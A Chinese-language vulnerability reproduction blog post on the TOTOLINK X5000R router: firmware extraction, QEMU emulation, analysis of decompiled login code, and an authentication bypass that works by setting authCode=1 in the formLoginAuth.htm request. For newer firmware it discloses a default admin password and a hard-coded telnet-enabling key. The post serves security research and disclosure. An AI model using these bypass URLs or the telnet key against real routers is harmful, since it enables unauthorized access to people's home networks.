Totolink X5000R 未授权访问漏洞复现
2024-08-19 15:39:00

TOTOLINK X5000R

《水》

信息搜集

固件下载:

https://totolink.cn/home/menu/detail.html?menu_listtpl=download&id=65&ids=36

获取一个新版本固件,一个旧版本(用于对比)

固件提取:固件均未加密,直接binwalk提取即可

binwalk -Me TOTOLINK_X5000R_V9.1.0u.6118.web
binwalk -Me TOTOLINK_X5000R_V9.1.0u.6369.web

获得文件系统:

image-20231119213530429

大概看一下文件系统里面有什么,使用firmwalker简单分析一下,例如找到conf相关文件:

image-20231120152056027

通过busybox看一下这个文件系统的架构:mips32,小端序

历史漏洞:

https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=X5000R

image-20231120145534829

固件模拟

获取虚拟镜像和磁盘:

wget https://people.debian.org/~aurel32/qemu/mipsel/debian_wheezy_mipsel_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta

通过脚本启动QEMU

#set network
sudo brctl addbr virbr0
sudo ifconfig virbr0 192.168.5.1/24 up
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.5.11/24 up
sudo brctl addif virbr0 tap0

sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic

登陆默认密码为root/root

在QEMU中配置网络:

ifconfig eth0 192.168.5.12 up

image-20231120173559641

将路由器文件系统(旧版本固件)传入QEMU中:

scp -r squashfs-root/ root@192.168.5.12:/root/

image-20231120173821708

挂载启动文件系统:

chroot ./squashfs-root/ /bin/sh

image-20231120173930446

使用lighttpd.conf启动Web服务:

lighttpd -f lighttp/lighttpd.conf -m lighttp/lib/

image-20231120174127935

提示没有/var/run/lighttpd.pid,那就手动创建一下并再启动一次:

mkdir /var/run && touch /var/run/lighttpd.pid

成功启动,访问一下试试:

固件分析

先尝试抓个登陆包看看是那个程序用于处理web数据:

image-20231121211803749

先看第一个包:

image-20231121212944715

可以看到调用了cstecgi.cgi这个文件,分析一下这个程序:

image-20231120215133501

丢IDA里看看,根据响应包找一下action=login字符串:

image-20231120220659884

查看交叉引用,F5一下:

大概捋一下这个函数是干啥的:

loginAuthUrl = websGetVar(a1, "loginAuthUrl", &byte_437F70);
Object = cJSON_CreateObject();
v3 = 0;
v32 = v24;
while ( 1 )
{
  v5 = v3 + 1;
  if ( getNthValueSafe(v3, loginAuthUrl, "&", v22) == -1 )
    break;
  if ( getNthValueSafe(0, v22, "=", v23) != -1 && getNthValueSafe(1, v22, "=", v32) != -1 )
  {
    String = cJSON_CreateString(v32);
    cJSON_AddItemToObject(Object, v23, String);
  }
  v3 = v5;
}
username = websGetVar(Object, "username", &byte_437F70);// 获取username
password = websGetVar(Object, "password", &byte_437F70);// 获取password
http_host = websGetVar(Object, "http_host", &byte_437F70);
flag = websGetVar(Object, "flag", &word_436104);
wizard_flag = nvram_get_int("wizard_flag");
if ( wizard_flag )
{
  if ( ((v11 = nvram_safe_get("opmode_custom"), !strcmp(v11, "gw")) || !strcmp(v11, "wisp")) && isWanConnected()
    || !strcmp(v11, "rpt") && get_apcli_connected() == 1
    || !strcmp(v11, "br") && nvram_get_int("dl_status_lan") == 1 )
  {
    wizard_flag = 0;
  }
}
urldecode(password, decode_password);
http_username = nvram_safe_get("http_username");
strcpy(cp_http_username, http_username);      // 获取http_username
http_passwd = nvram_safe_get("http_passwd");
strcpy(cp_http_passwd, http_passwd);          // 获取http_passwd
if ( *http_host )
  strcpy(cp_http_host, http_host);
else
  strcpy(cp_http_host, v30);
check_username = strcmp(username, cp_http_username);// 检查username
v15 = strcmp(decode_password, cp_http_passwd) || check_username != 0;// 检查password
if ( flag )
  strcpy(username, cp_http_username);
if ( !strcmp(username, cp_http_username) && !strcmp(decode_password, cp_http_passwd) )// 检查通过
{
  if ( !strcmp(flag, "ie8") )                 // 判断浏览器类型
  {
    strcpy(v20, "wan_ie.html");
  }
  else if ( atoi(flag) == 1 )
  {
    if ( wizard_flag )
      strcpy(v20, "phone/wizard.html");
    else
      strcpy(v20, "phone/home.html");
  }
  else if ( wizard_flag )
  {
    strcpy(v20, "wizard.html");
  }
  else
  {
    strcpy(v20, "home.html");
  }
  nvram_set_int_temp("cloudupg_checktype", 1);
  doSystem("lktos_reload %s", "cloudupdate_check 2>/dev/null");
}
else                                          // 检查不通过
{
  if ( !strcmp(flag, "ie8") )
  {
    strcpy(v20, "login_ie.html");
  }
  else if ( atoi(flag) == 1 )
  {
    strcpy(v20, "phone/login.html");
  }
  else
  {
    strcpy(v20, "login.html");
  }
  if ( v15 )
    system(&unk_4373F8);
}
snprintf(httpStatus302, 0x1000, "{\"httpStatus\":\"%s\",\"host\":\"%s\"", "302");
httpStatus302_len = strlen(httpStatus302);
if ( atoi(flag) == 1 )
{
  snprintf(
    &httpStatus302[httpStatus302_len],
    0x1000 - httpStatus302_len,
    ",\"redirectURL\":\"http://%s/formLoginAuth.htm?authCode=%d&userName=%s&goURL=%s&action=login&flag=1\"}",
    cp_http_host);
}
else if ( !strcmp(flag, "ie8") )
{
  snprintf(
    &httpStatus302[httpStatus302_len],
    0x1000 - httpStatus302_len,
    ",\"redirectURL\":\"http://%s/formLoginAuth.htm?authCode=%d&userName=%s&goURL=%s&action=login&flag=ie8\"}",
    cp_http_host);
}
else
{
  snprintf(
    &httpStatus302[httpStatus302_len],
    0x1000 - httpStatus302_len,
    ",\"redirectURL\":\"http://%s/formLoginAuth.htm?authCode=%d&userName=%s&goURL=%s&action=login\"}",
    cp_http_host);
}
v17 = cJSON_Parse(httpStatus302);
redirectURL = websGetVar(v17, "redirectURL", &byte_437F70);
puts("HTTP/1.1 302 Redirect to page");
puts("Content-type: text/plain");
puts("Connection: Keep-Alive\nPragma: no-cache\nCache-Control: no-cache");
printf("Location: %s\n\n", redirectURL);//Location
printf("protal page");

主要功能就是检查username和password;

由cstecgi.cgi得到http://192.168.5.12/formLoginAuth.htm?authCode=0&userName=&goURL=login.html&action=login,而由于formLoginAuth.htm为htm文件,需要由lighttpd进行处理==》

image-20231121220848025

分析一下lighttpd:

根据formLoginAuth.htm定位:

image-20231121235127257

image-20231121235257071

可以看到我们的请求经过strstr()函数后将进入Form_Login函数:

image-20231122170001804

函数获取了authCode==》

image-20231122172420916

authCode=1进入if的代码块中将获取SESSION_ID,若符合条件:获取SESSION_ID cookie的值存储于V15,并通过这个值检查这个会话是否有效==》当然这个是成立的,也不需要绕过啥的==》将返回home.html,也就是说可以绕过登陆验证==》

home.html将重定向至/basic/index.html:

image-20231122180833248

漏洞验证(旧未授权登陆)

只需要修改一下原包:authCode=0改为1即可

#原包:
/formLoginAuth.htm?authCode=0&userName=&goURL=login.html&action=login
#修改:
/formLoginAuth.htm?authCode=1&userName=&action=login
#或者:
/formLoginAuth.htm?authCode=1&userName=&goURL=home.html&action=login

测一下:

image-20231122180316108

成功未授权登陆:/basic/index.html

image-20231122180446783

新版本固件测试

同样的方法模拟固件,启动Web服务,直接测试旧版本固件未授权访问URL:

http://192.168.5.12/formLoginAuth.htm?authCode=1&userName=&action=login

image-20240819102123041

尝试登陆抓包试试看与旧版本固件有什么区别:

image-20240819103454407

image-20240819103418093

默认就采用了admin用户,但是返回并没有像旧版本那样采用formLoginAuth.htm?

在我分析cstecgi.cgi的时候无意中发现貌似可以开启telnet:

image-20240819112841184

并于配置中找到了新版本固件登陆的默认密码admin和开启telnet的key:KL@UHeZ0

image-20240819112733412